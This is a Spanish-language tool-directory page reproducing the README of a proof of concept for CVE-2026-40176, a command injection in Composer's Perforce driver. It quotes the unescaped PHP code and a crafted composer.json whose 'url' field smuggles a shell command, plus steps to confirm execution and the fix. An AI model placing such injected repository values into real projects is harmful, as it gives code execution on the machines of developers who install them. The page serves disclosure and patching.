Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-40176-poc — Prueba de concepto para CVE-2026-40176, una inyección de comandos del sistema operativo en el controlador Perforce de Composer que permite la ejecución remota de código mediante un composer.json manipulado. | Kitploit
Herramientas/GitHubGitHub/saku0512/cve-2026-40176-poc
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebComando y ControlAprendizaje y EducaciónDesarrollo de Payloads
GitHubsaku0512/cve-2026-40176-poc

CVE-2026-40176-poc

Prueba de concepto para CVE-2026-40176, una inyección de comandos del sistema operativo en el controlador Perforce de Composer que permite la ejecución remota de código mediante un composer.json manipulado.

Ver Repositorio
22hace 2 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-40176: PoC de Inyección de Comandos del Sistema Operativo en Composer Perforce

English version

Resumen

Este repositorio es una Prueba de Concepto (PoC) para la vulnerabilidad crítica de inyección de comandos del sistema operativo CVE-2026-40176 en el controlador VCS de Perforce de Composer. Esta vulnerabilidad afecta a versiones de Composer anteriores a 2.2.27 y 2.9.6.

La vulnerabilidad reside en el método Perforce::generateP4Command(). Al construir comandos de shell, la sanitización insuficiente de valores de configuración del repositorio como url, p4user y client permite a un atacante, utilizando un composer.json controlado, ejecutar comandos arbitrarios cuando la víctima ejecuta composer install o .

composer update

Descubridor: saku0512 (GitHub)

Descargo de responsabilidad

Este proyecto tiene únicamente fines educativos y para pruebas de seguridad éticas autorizadas.

El autor no se hace responsable del uso indebido, daños o actividades ilegales relacionadas con esta herramienta. Acceder a sistemas informáticos sin autorización es ilegal. Al utilizar este software, usted acepta realizar pruebas de seguridad únicamente en entornos para los que tenga permiso explícito.

Detalles de la vulnerabilidad

  • CVE ID: CVE-2026-40176
  • Tipo: Inyección de comandos del sistema operativo (CWE-78)
  • Impacto: Ejecución remota de código (RCE)
  • Versiones afectadas:
    • Composer 2.0.0 <= v2.2.26
    • Composer 2.3.0 <= v2.9.5
  • Versiones corregidas: v2.2.27 / v2.9.6

Causa raíz

En el método generateP4Command() de src/Composer/Util/Perforce.php, se construye un comando de shell concatenando directamente cadenas obtenidas de la configuración del repositorio.

root@kitploit:~
$p4Command = $this->getP4Executable().' ';
$p4Command .= '-u ' . $this->getUser() . ' ';   // エスケープされていない
if ($useClient) {
    $p4Command .= '-c ' . $this->getClient() . ' '; // エスケープされていない
}
$p4Command .= '-p ' . $this->getPort() . ' ' . $command; // エスケープされていない

Si estos valores contienen metacaracteres de shell como ;, &, |, serán interpretados por el shell, lo que conduce a una inyección de comandos.

Cómo usar la PoC

1. Preparación del entorno

Asegúrese de que PHP esté instalado. Esta PoC reproduce la lógica vulnerable dentro de Composer.

root@kitploit:~
# Verificar la versión de PHP
php -v

2. Ejemplo de configuración (composer.json malicioso)

Un atacante puede crear un composer.json como el siguiente:

root@kitploit:~
{
    "repositories": [
        {
            "type": "perforce",
            "url": "localhost:1666; touch /tmp/pwned_rce_confirmed #",
            "depot": "depot"
        }
    ],
    "require": {
        "some/package": "dev-master"
    }
}

3. Ejecución de la PoC

El archivo poc.php incluido reproduce la lógica de generación y ejecución de comandos internos en una versión vulnerable de Composer.

root@kitploit:~
# Ejecutar la PoC
php poc.php

4. Verificación

Verifique si existe el archivo creado por el payload y confirme que el comando se ejecutó.

root@kitploit:~
ls -l /tmp/pwned_rce_confirmed

Si el archivo existe, puede confirmar que se ha logrado RCE.

Mitigación

Actualice Composer a la última versión inmediatamente.

root@kitploit:~
composer self-update

La corrección aplica ProcessExecutor::escape() a todos los argumentos derivados de la entrada del usuario para evitar la interpretación por parte del shell.

Referencias

  • CVE-2026-40176 (cve.org)
  • Composer Security Advisory
Descargar herramienta